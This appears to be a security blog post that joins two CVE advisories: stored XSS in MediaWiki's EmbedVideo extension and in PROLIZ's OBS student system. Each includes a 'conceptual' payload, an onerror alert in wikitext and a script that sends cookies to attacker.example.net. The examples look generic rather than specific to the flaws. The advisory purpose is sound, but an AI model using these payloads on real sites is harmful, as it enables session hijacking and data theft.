Author: Ameeba

Overview

CVE-2025-59839 is a severe vulnerability affecting the EmbedVideo Extension in MediaWiki’s versions 4.0.0 and prior. This extension is widely used for embedding video clips from various video sharing services into MediaWiki pages. The vulnerability allows an attacker to add arbitrary attributes to an HTML element, leading to a stored Cross-Site Scripting (XSS) attack through wikitext. This vulnerability is of grave concern as it opens the potential for system compromise and data leakage, which could have dire consequences for any organization using the affected versions of the EmbedVideo Extension.

Vulnerability Summary

CVE ID: CVE-2025-59839
Severity: High (8.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

MediaWiki EmbedVideo Extension | 4.0.0 and prior

How the Exploit Works

The vulnerability arises due to the EmbedVideo Extension’s ability to add arbitrary attributes to an HTML element through wikitext. An attacker can exploit this vulnerability by crafting malicious wikitext that includes harmful attributes. When a user views a page containing this malicious wikitext, the harmful attributes are executed in the user’s browser, leading to a stored XSS attack. This could allow the attacker to execute arbitrary scripts in the context of the user’s session, potentially leading to unauthorised actions or data theft.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited through a crafted wikitext:

{{#ev:youtube|<img src=x onerror=alert('XSS') />}}

This wikitext attempts to embed a YouTube video, but it includes a malicious ‘onerror’ attribute in an image tag. If the image fails to load, the ‘onerror’ attribute triggers, executing the JavaScript alert function and displaying a message box with the text ‘XSS’. In a real-world attack, this benign alert could be replaced with a more malicious script, such as one that steals the user’s session cookies.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant security vulnerability, CVE-2025-10467, which affects the OBS (Student Affairs Information System) developed by PROLIZ Computer Software Hardware Service Trade Ltd. Co. This vulnerability is of significant concern due to the system’s wide adoption by educational institutions globally, and the potential consequences if exploited. The vulnerability pertains to an instance of Improper Neutralization of Input During Web Page Generation, more commonly referred to as ‘Cross-site Scripting’ or XSS. An attacker exploiting this vulnerability could compromise the system or leak sensitive data, posing a significant risk to the integrity and confidentiality of the information managed by these institutions.

Vulnerability Summary

CVE ID: CVE-2025-10467
Severity: High (CVSS Score 8.9)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

OBS (Student Affairs Information System) | Before v25.0401

How the Exploit Works

This vulnerability arises from an improper neutralization of user input during the web page generation process within the OBS system. The flaw allows a malicious actor to inject client-side scripts into web pages viewed by other users, a method known as stored XSS. These scripts could potentially be designed to steal user session cookies, deface web pages, or perform other unauthorized actions that compromise the system’s data integrity and confidentiality.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

POST /student/updateProfile HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"name": "John Doe",
"bio": "<script>new Image().src='http://attacker.example.net/steal.php?cookie='+document.cookie;</script>"
}

In the above example, a malicious script is embedded into the user’s bio. When other users view this profile, the embedded script is executed, sending the victim’s session cookie to the attacker’s server, effectively compromising the user’s session.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor-provided patch. If this is not immediately possible, a temporary solution is to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to filter out potential XSS attack vectors. However, these are not foolproof solutions and can only serve as a stopgap measure until the patch can be applied. Further, developers are advised to follow secure coding practices such as input validation and output encoding to prevent such vulnerabilities in the future.